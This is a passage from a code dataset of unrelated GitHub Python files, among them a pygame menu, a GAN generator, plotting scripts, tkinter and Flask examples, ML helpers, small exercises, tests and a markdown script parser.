self.screen.blit(msg, (10, 10))\n            pygame.display.flip()\n        \n                    \n    def gameloop(self):\n\n        while self.state == \"GAME\":\n\n            for event in pygame.event.get():\n                if event.type == pygame.MOUSEBUTTONDOWN:\n                    if self.ball.rect.collidepoint(event.pos):\n                        self.state = \"END\"\n\n            self.sprites.update()\n            # adjust the direction of the ball based on position\n            if self.ball.rect.x < 0:\n                self.ball.direction = \"right\"\n            elif self.ball.rect.x > (self.width - self.ball.rect.width):\n                self.ball.direction = \"left\"\n            \n            self.screen.fill(\"purple\")\n\n            self.sprites.draw(self.screen)\n            \n            pygame.display.flip()\n\n\n    def start_game(self):\n        self.state = \"GAME\"\n\ndef main():\n    game = Controller()\n    game.mainloop()\n\n\nif __name__ == \"__main__\":\n    main()","repo_name":"bucs110SPRING23/portfolio-sunkistcap","sub_path":"ch08/exercises/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":3642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"12747668344","text":"# -*- coding: UTF-8 -*-\nimport tensorflow as tf\nfrom tensorflow.keras import layers\n\n\nclass Generator:\n    def __init__(self, in_channels, optimizer, loss_fn, height, width):\n        self.in_channels = in_channels\n        self.height = height\n        self.width = width\n\n        self.g_optimizer = optimizer\n        self.loss_fn = loss_fn\n        self.g_loss = None\n        self.gen_loss_tracker = tf.keras.metrics.Mean(name=\"generator_loss\")\n\n        self.model = tf.keras.Sequential(\n            [\n                layers.InputLayer((self.in_channels,)),\n                # We want to generate 128 + num_classes coefficients to reshape into a\n                # 7x7x(128 + num_classes) map.\n                layers.Dense((self.height // 4) * (self.width // 4) * self.in_channels),\n                layers.LeakyReLU(alpha=0.2),\n                layers.Reshape(((self.height // 4), (self.width // 4), self.in_channels)),\n\n                layers.Conv2DTranspose(128, (4, 4), strides=(2, 2), padding=\"same\"),\n                layers.BatchNormalization(),\n                layers.LeakyReLU(alpha=0.2),\n\n                layers.Conv2DTranspose(128, (4, 4), strides=(2, 2), padding=\"same\"),\n                layers.BatchNormalization(),\n                layers.LeakyReLU(alpha=0.2),\n\n                # layers.Conv2DTranspose(128, (4, 4), strides=(1, 1), padding=\"same\"),\n                # layers.BatchNormalization(),\n                # layers.LeakyReLU(alpha=0.2),\n\n                layers.Conv2D(1, (7, 7), padding=\"same\", activation=\"sigmoid\"),\n            ],\n            name=\"generator\",\n        )\n\n    def generate(self, captcha):\n        return self.model(captcha)\n\n    def train(self, random_vector, image_hot_labels, misleading_labels, discriminator):\n        # Train the generator (note that we should *not* update the weights\n        # of the discriminator)!\n        with tf.GradientTape() as tape:\n            fake_images = self.generate(random_vector)\n            fake_image_and_labels = tf.concat([fake_images, image_hot_labels], -1)\n            predictions = discriminator.predict(fake_image_and_labels)\n            self.g_loss = self.loss_fn(misleading_labels, predictions)\n        grads = tape.gradient(self.g_loss, self.model.trainable_weights)\n        self.g_optimizer.apply_gradients(zip(grads, self.model.trainable_weights))\n\n    def update_weights(self):\n        self.gen_loss_tracker.update_state(self.g_loss)\n\n    def get_loss_track(self):\n        return self.gen_loss_tracker.result()\n\n\nif __name__ == \"__main__\":\n    generator = Generator(in_channels=134,\n                          optimizer=None,\n                          loss_fn=tf.keras.losses.BinaryCrossentropy(),\n                          height=40,\n                          width=24)\n    MODEL_IMG = 'generator.png'\n    tf.keras.utils.plot_model(generator.model, to_file=MODEL_IMG,\n                              show_shapes=True,\n                              show_layer_activations=True,\n                              show_dtype=True,\n                              show_layer_names=True)\n    print(generator.model.summary())\n","repo_name":"Alexander-Zadorozhnyy/CGAN_CAPTCHA_SOLVER","sub_path":"src/GAN/models/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":3093,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"}
{"seq_id":"22396870334","text":"import pickle\nfrom skimage.io import imread\nfrom skimage.transform import resize\nimport matplotlib.pyplot as plt\n\n# Đọc mô hình từ tệp \"model.sav\"\nwith open('model.sav', 'rb') as model_file:\n    model = pickle.load(model_file)\nCategories = ['cats', 'dogs']\n# Đường dẫn tới ảnh mới bạn muốn dự đoán nhãn\npath = 'test/test_1.jpg'\nimg = imread(path)\n\n# Chuẩn bị ảnh mới và dự đoán nhãn\nimg_resize = resize(img, (150, 150, 3))\nl = [img_resize.flatten()]\nprobability = model.predict_proba(l)\n\n# In kết quả\nfor ind, val in enumerate(Categories):\n    print(f'{val} = {probability[0][ind]*100:.2f}%')\n\npredicted_label = model.predict(l)[0]\nprint(\"The predicted image is:\", Categories[predicted_label])\nplt.imshow(img)\nplt.show()","repo_name":"conan194351/ProjectIII","sub_path":"UsingSVM/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12972996024","text":"#%%\nimport os\nimport json\nimport matplotlib.pyplot as plt\nimport matplotlib as mpl\nimport tikzplotlib\n\nimport matplotlib.font_manager as fm\n\nmpl.rcParams['font.family'] = 'serif'\nmpl.rcParams['font.serif'] = 'Times New Roman'\nmpl.rcParams['mathtext.fontset'] = 'custom'\nmpl.rcParams['mathtext.rm'] = 'Times New Roman'\nmpl.rcParams['mathtext.it'] = 'Times New Roman:italic'\nmpl.rcParams['mathtext.bf'] = 'Times New Roman:bold'\n\n\ndef copy_keys(dict_orig):\n    dict_new = {}\n    for k, v in dict_orig.items():\n        if isinstance(dict_orig[k], dict):\n            dict_new[k] = copy_keys(dict_orig[k])\n        else:\n            dict_new[k] = str(type(dict_orig[k]))\n    return dict_new\n\npath = 'output/json/'\njson_dicts = []\ncolor_labels = {\n    'G' : '#D0D0D0',\n    'P' : '#720069',\n    'SQ' : 'green'\n}\ncustom_labels = [\n    'Non-augmented, $f_{CNN}$ 4 Hz',\n    'Non-augmented, $f_{CNN}$ 1 Hz',\n    'Augmented, $f_{CNN}$ 4 Hz',\n    'Augmented, $f_{CNN}$ 1 Hz'\n    ]\nmodel_idx_mod = {\n    0 : 2,\n    1 : 3,\n    2 : 0,\n    3 : 1\n}\nmodel_mod = {\n    0 : 1.95,\n    1 : 2.5,\n    2 : 0.5,\n    3 : 1.05\n}\n\nfor filename in os.listdir(path):\n    if filename.endswith('.json'):\n        with open(os.path.join(path, filename)) as f:\n            json_dicts.append(json.load(f))\n\nmodel_list = []\nmax_index = 0\nfor j in json_dicts:\n    model_list.append(f\"{j['model']}_{j['shift']}\")\n    for d in j['dict']:\n        max_index = max(max(j['dict'][d]['y']), max_index)\n\ndata = [None] * (max_index + 1)\n\nfor j in json_dicts:\n    model_idx = model_list.index(f\"{j['model']}_{j['shift']}\")\n    for d in j['dict']:\n        for x, y in zip(j['dict'][d]['x'], j['dict'][d]['y']):\n            if data[y] is None:\n                data[y] = {\n                    'G' : {'x': [], 'y': []},\n                    'P' : {'x': [], 'y': []},\n                    'SQ' : {'x': [], 'y': []}\n                }\n            # if d not in data[y]:\n            #     data[y][d] = {'x': [], 'y': []}\n            data[y][d]['x'].append(x * j['shift'])\n            data[y][d]['y'].append(model_mod[model_idx])\n\n# %%\nvertical_lines = [\n    [1.53,  4.83,   8.97, 13.04, 16.67, 20.40, 24.56],\n    [0.6, 5.16, 9.07, 13.57, 17.07, 22.56, 26.91],\n    [0.42, 4.29, 6.97, 9.79, 13.24, 16.2, 19.51, 22.7, 25.6], \n    [2.16, 6.02, 9.52, 13.25, 17.23, 21.5, 25.3],\n    [0.03, 4.71, 9.52, 13.61, 17.59, 21.92, 25.12],\n    [0.86, 3.71, 6.32, 9.7, 12.96, 15.75, 19.01, 23.1]\n]\nmiss_line = [\n    [[1], [], [], [], [], [1], [1]],\n    [[], [], [], [1], [], [1], [1]],\n    [[1], [], [], [], [], [1], [1], [], [1]],\n    [[1], [], [], [], [], [], []],\n    [[], [], [], [], [], [1], []],\n    [[1], [], [], [], [], [], [], []]\n]\n\nfigure_w = 16\nfigure_h = 4\nfig = plt.figure(figsize=(figure_w, figure_h))\n\nfor i in range(len(data)):\n    for d in data[i]:\n        plt.scatter(data[i][d]['x'], data[i][d]['y'], marker=\"s\", s = 30, c = color_labels[d])\n    \n    miss_w = 0.75\n    miss_h = 0.2\n    ylim_min = 0.15\n    ylim_max = 2.85\n\n    xmin, xmax = plt.xlim()  # Ottieni i limiti dell'asse x\n    for v_line, m_line in zip(vertical_lines[i], miss_line[i]):\n        plt.axvline(x=v_line, color='k', linestyle='--', alpha=0.5)\n        for m in m_line:\n            relative_xmin = (v_line - miss_w - xmin) / (xmax - xmin)\n            relative_xmax = (v_line + miss_w - xmin) / (xmax - xmin)\n            plt.axhspan(model_mod[m] - miss_h, model_mod[m] + miss_h, xmin=relative_xmin, xmax=relative_xmax, facecolor='red', alpha=0.25) #, zorder = 0)\n\n    plt.ylim(ylim_min, ylim_max)\n    plt.yticks([model_mod[k] for k in model_mod], custom_labels)\n    # plt.yticks(['Squat', 'Squat', 'Squat', 'Push-up', 'Push-up', 'Push-up'])\n\n    if i == 0:\n        labels = [\"Other\", \"Push-up\", \"Squat\", \"Ground truth\", \"Missed classification\"]\n        plt.legend(labels, loc='upper center', bbox_to_anchor=(0.5, 1.15), ncol=len(labels), fancybox=True, shadow=False)\n    if i == len(data) - 1:\n        plt.xlabel(\"Time [s]\") # ,fontsize=14\n\n    # plt.savefig(\"output/plot/raster.png\")\n    plt.savefig(f\"output/plot/raster_{i}.pdf\", format=\"pdf\")\n    tikzplotlib.save(f\"output/plot/raster_{i}.tex\")\n    # plt.show()\n\n    plt.clf()","repo_name":"matteoscrugli/deeparm_nn","sub_path":"plot_comp.py","file_name":"plot_comp.py","file_ext":"py","file_size_in_byte":4140,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"}
{"seq_id":"13057373332","text":"#Creating windows and labels with Tkinter\nimport tkinter\n\nwindow=tkinter.Tk()\nwindow.title(\"My first GUI program\")\nwindow.minsize(width=500,height=300)\n\n\n#Label\nmy_label=tkinter.Label(text=\"I am a Label\",font=(\"Arial\",24,\"bold\"))\nmy_label.pack() #place it in screen and center it else you won't see label\n# my_label.pack(side=\"left\") #label is displayed to the left\n# my_label.pack(side=\"bottom\") #label displayed on bottom\n# my_label.pack(expand=True) #will take up full height and width of available screen size\nmy_label[\"text\"]=\"New text\" #changing intiial text\n# my_label.config(text=\"New text\")  #another way to write\n\n#Entry\n# input=tkinter.Entry(width=10)\n# input.pack()\n# ans=input.get()\n\ninput=tkinter.Entry(width=10)  #create text field\ninput.pack()  \n\n#event listener\ndef button_clicked():\n    # print(\"Button got clicked!\")\n    # my_label[\"text\"]=\"Button got clicked!\"\n    ans=input.get()       #type in text field and click button,text will be displayed in place of \"New text\"\n    my_label[\"text\"]=ans\n\n\n\n#Button\nbutton=tkinter.Button(text=\"Click here\",command=button_clicked)\nbutton.pack()\n\n\n# while True:\n#     listening\nwindow.mainloop()","repo_name":"priyanka-111-droid/100daysofcode","sub_path":"Day027/Tkinter/intro.py","file_name":"intro.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"73973896041","text":"from flask import Flask\nimport requests\nimport random\n\n\napp = Flask(__name__)\nhigh = 300\nclose = 500\nlatestPrice = 240\n\ndef _get_fake_data():\n    data = {\n            'high':high,\n            'close':close,\n            'latestPrice':latestPrice+random.randint(1,10)\n    } \n    return data\n\n@app.route('/stock/<ticker>')\ndef show_stock(ticker: str):\n    print(\"Fetching data for {}\".format(ticker))\n    return _get_fake_data() \n\n@app.route('/stock/<ticker>/<property>')\ndef show_stock_property(ticker: str, property: str):\n    data = _get_fake_data()\n    return str(data[property])\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000, debug=True)\n","repo_name":"benWindsorCode/signalGenerator","sub_path":"signal_generator/marketdata/mock_stock_data/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"14636597105","text":"import pandas as pd\r\nimport numpy as np\r\nimport math\r\nimport unicodedata\r\nfrom datetime import datetime\r\n\r\n#§ or ° are not included but is a standard so its fine, maybe include 255 ascii signs\r\n#malformed so copied\r\n#chars=string.printable \r\n#len is 95 as DEL is excluded\r\nprintables='''0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ '''\r\ndict_char_classes={\r\n        'lower':'abcdefghijklmnopqrstuvwxyz',\r\n        'upper':'ABCDEFGHIJKLMNOPQRSTUVWXYZ',\r\n        'number':'0123456789',\r\n        'special':'''!\"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ '''\r\n        }\r\n\r\nsingle_value_feats=['n_chars', 'n_numbers', 'n_letters', 'n_spaces',\r\n                    'n_uppers', 'n_specials', 'is_date', 'perc_numbers',\r\n                    'perc_letters', 'perc_specials', 'first_letter', 'digits_before_comma',\r\n                    'digits_after_comma', 'negativ_number', 'first_number', \r\n                    'unit_place', 'tenth_place']\r\n\r\ncell_feats=['char_dist', 'word_shape', 'dict_lookup']\r\n\r\nglobal_stats=['n_none','frac_none', 'entropy','frac_unique','frac_num',\r\n     'frac_alpha','frac_sym','mean_num_count', 'std_num_count',\r\n     'mean_alpha_count', 'std_alpha_count', 'mean_sym_count', \r\n     'std_sym_count', 'sum_chars', 'min_chars','max_chars', \r\n     'median_chars', 'mode_chars','kurt_chars', 'skew_chars',\r\n     'any_chars', 'all_chars','dates','min_num', 'max_num', 'median_num',\r\n     'mean_num', 'mode_num', 'std_num', 'kurt_num', 'skew_num']\r\n\r\nendpoint_dict =\t{\r\n  'uniprot':'http://sparql.uniprot.org/sparql', #works great\r\n  'ebi':'https://www.ebi.ac.uk/rdf/services/sparql', #certification error\r\n  'disgenet':'http://rdf.disgenet.org/sparql/', #no results for found datatype properties\r\n  'monarch':'http://rdf.monarchinitiative.org/sparql', #doesnt work --> returns some html stuff\r\n  'lld':'http://linkedlifedata.com/sparql', #includes many databases\r\n  'old':'http://sparql.openlifedata.org/', #includes many databases\r\n  'wikipathways':'http://sparql.wikipathways.org/', #doesnt work --> returns some html stuff\r\n  'tcga':'http://tcga.deri.ie/', #doesnt work --> returns some html stuff\r\n  'pubchem':'https://pubchemdocs.ncbi.nlm.nih.gov/rdf', #doesnt work --> returns some html stuff\r\n  'nbdc':'http://integbio.jp/rdf/sparql', #very much dt_properties\r\n  'dbpedia':'http://dbpedia.org/sparql',\r\n  'wikidata': 'https://query.wikidata.org/sparql'\r\n}\r\n#http://drugbank.bio2rdf.org/sparql old endpoint?\r\n#'https://opensparql.sbgenomics.com/blazegraph/namespace/tcga_metadata_kb/sparql' doesnt work --> urlerror\r\n#drugbank=lld\r\n\r\n# from https://stackoverflow.com/a/518232/2809427\r\n#normalizing the data to only contain ascii printables\r\ndef unicodeToAscii(s):\r\n    chars=printables\r\n    return ''.join(\r\n        c for c in unicodedata.normalize('NFD', s)\r\n        if unicodedata.category(c) != 'Mn'\r\n        and c in chars)\r\n\r\n#https://stackoverflow.com/questions/1265665/how-can-i-check-if-a-string-represents-an-int-without-using-try-except\r\ndef representsInt(s):\r\n    try: \r\n        int(s)\r\n        return True\r\n    except:\r\n        return False\r\n    \r\ndef representsFloat(s):\r\n    try: \r\n        float(s)\r\n        return True\r\n    except:\r\n        return False\r\n    \r\n #from https://stackoverflow.com/questions/33204500/pandas-automatically-detect-date-columns-at-run-time\r\ndef representsDate(s):\r\n    try:\r\n        pd.to_datetime(s, utc=True)\r\n        return True\r\n    except:\r\n        return False\r\n\r\ndef drop_nan_inf_none(col):\r\n    col=pd.Series(list(filter(None, col)))\r\n    for i in range(len(col)):\r\n        try:\r\n            cell=float(col[i])\r\n            if np.isnan(cell):\r\n                col=col.drop(i)\r\n                continue\r\n            if np.isinf(cell):\r\n                col=col.drop(i)\r\n                continue\r\n            if cell>np.finfo(np.float32).max:\r\n                col=col.drop(i)\r\n                continue\r\n        except:\r\n            continue\r\n    return col.reset_index(drop=True)\r\n\r\ndef check_float_min_max(X):\r\n    for i in range(len(X)):\r\n        mask=X[i]>np.finfo(np.float64).max\r\n        X[i][mask]=np.finfo(np.float64).max\r\n        mask=X[i]<np.finfo(np.float64).min\r\n        X[i][mask]=np.finfo(np.float64).min\r\n    return X\r\n\r\ndef shape_for_scale(X, X_shape, n_features):\r\n    X_helper=np.zeros(shape=(X_shape[0]*X_shape[1], n_features))\r\n    idx=0\r\n    for i in range(X_shape[0]):\r\n        for j in range(n_features):\r\n            X_helper[idx:idx+X_shape[1],j]=X[i][j,:]\r\n        idx=idx+X_shape[1]\r\n    return X_helper\r\n\r\ndef shape_for_training(X, X_shape, n_features):\r\n    shaped=np.zeros(shape=(X_shape[0], n_features*X_shape[1]))\r\n    idxrow=0\r\n    for i in range(X_shape[0]):\r\n        idxcolumn=0\r\n        for j in range(n_features):\r\n            shaped[i,idxcolumn:idxcolumn+X_shape[1]]=X[idxrow:idxrow+X_shape[1],j]\r\n            idxcolumn=idxcolumn+X_shape[1]\r\n        idxrow=idxrow+X_shape[1]\r\n    return shaped\r\n\r\ndef get_single_value_feat_rows(X, n_features):\r\n    X_single_feat=np.zeros(shape=(X.shape[0], X[0].shape[1]))\r\n    for i in range(len(X)):\r\n        X_single_feat[i,:]=X[i][n_features-1,:]\r\n    return X_single_feat\r\n\r\ndef add_scaled_single_value_feat_rows(X_single_feat_scaled, X_scaled, n_chars, n_features):\r\n    idx_row=0\r\n    for i in range(X_single_feat_scaled.shape[0]):\r\n        X_scaled[idx_row:idx_row+n_chars, n_features-1]=X_single_feat_scaled[i]\r\n        idx_row+=n_chars\r\n    return X_scaled\r\n\r\ndef make_feat_importance_file(key, classifier, samples, n_chars, n_features, duration, ser_metrics, ser_feature_importances, ser_feature_importances_summed):\r\n    ser_metrics['duration']=duration\r\n    ser_metrics['samples']=samples\r\n    ser_metrics['n_chars']=n_chars\r\n    ser_metrics['n_features']=n_features\r\n    ser_metrics['database']=key\r\n    now = datetime.now()\r\n    dt_string = now.strftime('%Y_%m_%d_%H_%M_%S')\r\n    #path='C:/Users/jgtha/Dropbox/Default Python Directory/data/measurements/'\r\n    file_name='data/feature_importances/Scores_{}_{}_classifier_{}_samples_{}_nchars_{}_features_{}.xlsx'.format(key, classifier, samples, n_chars, n_features, dt_string)\r\n    metrics_sheet='params_and_scores'\r\n    feature_importance_sheet='feature_importances'\r\n    feature_importance_summed_sheet='feature_importances_summed'\r\n    with pd.ExcelWriter(file_name) as writer:\r\n        ser_metrics.to_excel(writer, sheet_name=metrics_sheet, header=['params and scores'])\r\n        ser_feature_importances.to_excel(writer, sheet_name=feature_importance_sheet, header=['feature importances'])\r\n        ser_feature_importances_summed.to_excel(writer, sheet_name=feature_importance_summed_sheet, header=['summed feature importances'])\r\n\r\n\r\n\r\n","repo_name":"be18b019/Semantic-Labelling-with-CoLa","sub_path":"helpers.py","file_name":"helpers.py","file_ext":"py","file_size_in_byte":6680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"25182031938","text":"#Thea M Factorial of a positive no        \ndef func_factorial(n):\n    # factorial is n * by all the '+' no less than it\n    #n= 7\n    #if n == 1:\n        # if n is 1 return 1\n        #return n\n    #else:\n        #return n * (n-1)\n        # \n\n# Python program to find the factorial of a number provided by the user.\n\n# change the value for a different result\n#n= 7\n# uncomment to take input from the user\n#num = int(input(\"Enter a number: \"))\n\n    factorial = 1\n\n# check if the number is negative, positive or zero\n    if n < 0:\n        print(\"not doing factorial for zero\")\n    elif n == 0:\n        print(\"The factorial of 0 is 1\")\n    else:\n        for i in range(1,n + 1):\n            factorial = factorial*i\n            print(\"The factorial of\",n,\"is\",factorial)   \n\nfunc_factorial (7)\n","repo_name":"theamurtagh/exercises","sub_path":"factorial.py","file_name":"factorial.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"28671548190","text":"\ndef armn(x):\n\tsum=0\n\tt=x\n\twhile(t>0):\n\t\td=t%10\n\t\tsum+=d**3\n\t\tt=t//10\n\tif sum ==x:\n\t\treturn'armstrong number'\n\telse:\n\t\treturn'not an armstrong number'\n\n\nx=int(input(\"enter the number\"))\nprint(armn(x))\n","repo_name":"RAJ5110/PYTHON-PROGRAMMING-LAB","sub_path":"armstrong.py","file_name":"armstrong.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"4893661721","text":"import numpy as np\nimport torch\nfrom torch import nn\nimport torch.nn.functional as F\n\n\nclass Bottleneck(nn.Module):\n    def __init__(self, input_size, bottleneck_size, bottleneck_activation):\n        \"\"\"\n        The function takes in the input size, the bottleneck size, and the bottleneck activation function.\n\n        The function then creates a linear layer with the input size and the bottleneck size.\n\n        The function then creates a linear layer with the bottleneck size and the input size.\n\n        The function then returns the input size, the output size, the bottleneck size, and the bottleneck activation\n        function.\n\n        :param input_size: the size of the input to the bottleneck layer\n        :param bottleneck_size: The size of the bottleneck layer\n        :param bottleneck_activation: The activation function to use for the bottleneck layer\n        \"\"\"\n        super(Bottleneck, self).__init__()\n        self.input = int(np.prod(input_size))\n        self.output = input_size\n        self.bottleneck_size = bottleneck_size\n        self.bottleneck_activation = bottleneck_activation\n        self.fc1 = nn.Linear(self.input, bottleneck_size)\n        self.fc2 = nn.Linear(bottleneck_size, self.input)\n\n    def forward(self, x):\n        \"\"\"\n        The function takes in an input, reshapes it, passes it through a linear layer, reshapes it again, and returns the\n        output\n\n        :param x: the input to the model\n        :return: The output of the forward pass, and the encoded representation of the input.\n        \"\"\"\n        x = x.view(-1, self.input)\n        if self.bottleneck_activation is not None:\n            encoded = self.bottleneck_activation(self.fc1(x))\n        else:\n            encoded = self.fc1(x)\n        x = self.fc2(encoded)\n        x = x.view(-1, self.output[0], self.output[1], self.output[2])\n        return x, encoded\n","repo_name":"NicoArmas/robomaster_surfer","sub_path":"host/autoencoder/bottleneck.py","file_name":"bottleneck.py","file_ext":"py","file_size_in_byte":1874,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"1636677044","text":"import time\n\nimport pytest\n\nimport zntrack\n\n\nclass SleepClassNoMetadata(zntrack.Node):\n    sleep_for = zntrack.zn.params(1)\n\n    @zntrack.tools.timeit(\"metadata\")\n    def run(self):\n        time.sleep(self.sleep_for)\n\n\nclass SleepClass(zntrack.Node):\n    sleep_for = zntrack.zn.params(1)\n    timeit_metrics = zntrack.zn.metrics()\n\n    @zntrack.tools.timeit(\"timeit_metrics\")\n    def run(self):\n        time.sleep(self.sleep_for)\n\n\nclass SleepClassLoop(zntrack.Node):\n    sleep_for = zntrack.zn.params(0.1)\n    timeit_metrics = zntrack.zn.metrics()\n    iterations = zntrack.zn.params(30)\n\n    def run(self):\n        for _ in range(30):\n            self.sleep()\n\n    @zntrack.tools.timeit(\"timeit_metrics\")\n    def sleep(self):\n        time.sleep(self.sleep_for)\n\n\ndef test_timeit_no_metadata_err(proj_path):\n    with pytest.raises(AttributeError):\n        SleepClassNoMetadata().run()\n\n\n@pytest.mark.parametrize(\"eager\", [True, False])\ndef test_timeit(proj_path, eager):\n    with zntrack.Project() as project:\n        sleep_class = SleepClass()\n\n    project.run(eager=eager)\n    if not eager:\n        sleep_class.load()\n    assert pytest.approx(sleep_class.timeit_metrics[\"run\"], 0.1) == 1.0\n\n\n@pytest.mark.parametrize(\"eager\", [True, False])\ndef test_timeit_loop(proj_path, eager):\n    with zntrack.Project() as project:\n        sleep_class = SleepClassLoop()\n    project.run(eager=eager)\n    if not eager:\n        sleep_class.load()\n\n    assert pytest.approx(sleep_class.timeit_metrics[\"sleep\"][\"mean\"], 0.1) == 0.1\n    assert sleep_class.timeit_metrics[\"sleep\"][\"std\"] < 1e-2\n    assert len(sleep_class.timeit_metrics[\"sleep\"][\"values\"]) == 30\n","repo_name":"zincware/ZnTrack","sub_path":"tests/integration/test_timeit.py","file_name":"test_timeit.py","file_ext":"py","file_size_in_byte":1646,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"18"}
{"seq_id":"19765509640","text":"#!/usr/bin/env python\nclass TreeNode(object):\n    def __init__(self, x):\n        self.val = x\n        self.left = None\n        self.right = None\n\n    def invertTree(self, root):\n        \"\"\"\n        :type root: TreeNode\n        :rtype: TreeNode\n        \"\"\"\n        if root:\n            root.right, root.left = self.invertTree(root.left), self.invertTree(root.right)\n        return root\n\n\nif __name__ == '__main__':\n    root = TreeNode(1)\n    root.left = TreeNode(2)\n    root.right = TreeNode(3)\n    root.left.left = TreeNode(4)\n    root.left.right = TreeNode(5)\n    root.right.left = TreeNode(6)\n    root.right.right = TreeNode(7)\n    print (\"before:\" ,root.val, root.left.val, root.right.val, root.left.left.val, root.left.right.val, root.right.left.val, root.right.right.val)\n    root.invertTree(root)\n    print (\"after :\" ,root.val,root.left.val,root.right.val,root.left.left.val,root.left.right.val,root.right.left.val,root.right.right.val)\n\n","repo_name":"Symbii/python_Oj","sub_path":"Invert_Binary_Tree.py","file_name":"Invert_Binary_Tree.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"5937666862","text":"from game.definitions import Tag\nfrom game.operation.operations.modify_seat import ModifySeat\nfrom game.scripting.api.sandbox_api import SandboxApi\n\n\nclass StudentApi(SandboxApi):\n    def get_students(self):\n        return self._sort_by_id(self.repo.students())\n\n    def get_controlled_students(self):\n        results = filter(lambda s: s.controlled, self.repo.students())\n        return self._sort_by_id(results)\n\n    def get_all_but_requestor(self):\n        results = filter(lambda s: not s.controlled or s.actor.id != self.repo.requestor_id, self.repo.students())\n        return self._sort_by_id(results)\n\n    def get_adjacent_students(self, target_student):\n        students = self.repo.students()\n        results = []\n        for s in students:\n            proximate_column = abs(s.seat.column - target_student.seat.column) <= 1\n            proximate_row = abs(s.seat.row - target_student.seat.row) <= 1\n            if proximate_column and proximate_row and (proximate_column + proximate_row) > 0:\n                results.append(s)\n        return self._sort_by_id(results)\n\n    def get_immediate_students(self, target_student):\n        students = self.repo.students()\n        results = []\n        for s in students:\n            diff_col = abs(s.seat.column - target_student.seat.column)\n            diff_row = abs(s.seat.row - target_student.seat.row)\n            if diff_col + diff_row == 1:\n                results.append(s)\n        return self._sort_by_id(results)\n\n    def move_to_empty_seat(self, student, seat):\n        default_tags = self.repo.default_tags\n        operation = ModifySeat(\n            destination_seat_id=seat.id,\n            targeted_student_id=student.id,\n            tags=default_tags.union({Tag.Seat})\n        )\n        self.program_api.students.move_student_to_empty_seat(operation=operation)\n\n    def swap_seat(self, student, seat):\n        default_tags = self.repo.default_tags\n        operation = ModifySeat(\n            destination_seat_id=seat.id,\n            targeted_student_id=student.id,\n            tags=default_tags.union({Tag.Seat})\n        )\n        self.program_api.students.swap_seat(operation=operation)\n\n    def _sort_by_id(self, students):\n        return list(sorted(students, key=lambda student: student.id))","repo_name":"tckerr/finalsweek","sub_path":"finalsweek/game/scripting/api/student_api.py","file_name":"student_api.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"9772017146","text":"import glob, os, mistune, pprint, subprocess, argparse, praw, getpass\nfrom mako.template import Template\nfrom multiprocessing import Pool\nimport uuid\n\nclass media:\n    src = ''\n    alt = ''\n    opts = ''\n\nclass doc_section:\n    level = 0\n    title = ''\n    media = ''\n    text  = ''\n\ndef get_title(ast):\n    for a in ast:\n        if a['type'] == 'heading':\n            return a['children'][0]['text']\n\n    raise Exception('no title in ast')\n\ndef get_level(ast):\n    for a in ast:\n        if a['type'] == 'heading':\n            return a['level']\n\n    raise Exception('no title in ast')\n\ndef get_media_(ast):\n    res = []\n    for a in ast:\n        if 'children' in a and a['type'] == 'paragraph':\n            res.append(get_media(a['children']))\n        elif a['type'] == 'image':\n            m = media()\n            m.src = a['src']\n            m.alt = a['alt'].split(';')[0]\n            m.opts = ';'.join(a['alt'].split(';')[1:])\n            res.append(m)\n\n    return res\n\ndef get_text_(ast):\n    res = []\n    for a in ast:\n        if 'children' in a and a['type'] == 'paragraph':\n            res.append(get_text(a['children']))\n        elif a['type'] == 'text':\n            res.append(a['text'])\n\n    return res\n\ndef get_media(ast):\n    res = get_media_(ast)\n    if len(res) > 1:\n        raise Exception('section can only have one media', ast)\n    if len(res) == 0:\n        raise Exception('section is missing media', ast)\n\n    return res[0]\n\ndef get_text(ast):\n    res = get_text_(ast)\n    if len(res) > 1:\n        raise Exception('section can only have one text', res)\n    if len(res) == 0:\n        raise Exception('section is missing text')\n\n    return res[0]\n\ndef get_sections(ast):\n    sections = []\n\n    for a in ast:\n        if a['type'] == 'heading':\n            sections.append([])\n        sections[-1].append(a)\n\n    return sections\n\ndef make_doc_section(ast_section):\n    section = doc_section()\n\n    section.level = get_level(ast_section)\n    section.title = get_title(ast_section)\n    section.media = get_media(ast_section)\n    section.text  = get_text(ast_section)\n    \n    return section\n\nclass Script:\n\n    @staticmethod\n    def get_script():\n        doc = open('script.md', 'r').read()\n\n        markdown = mistune.create_markdown(renderer=mistune.AstRenderer())\n        markdown_ast = markdown(doc)\n\n        doc_ast = {}\n\n        sections = [make_doc_section(s) for s in get_sections(markdown_ast)]\n\n        return 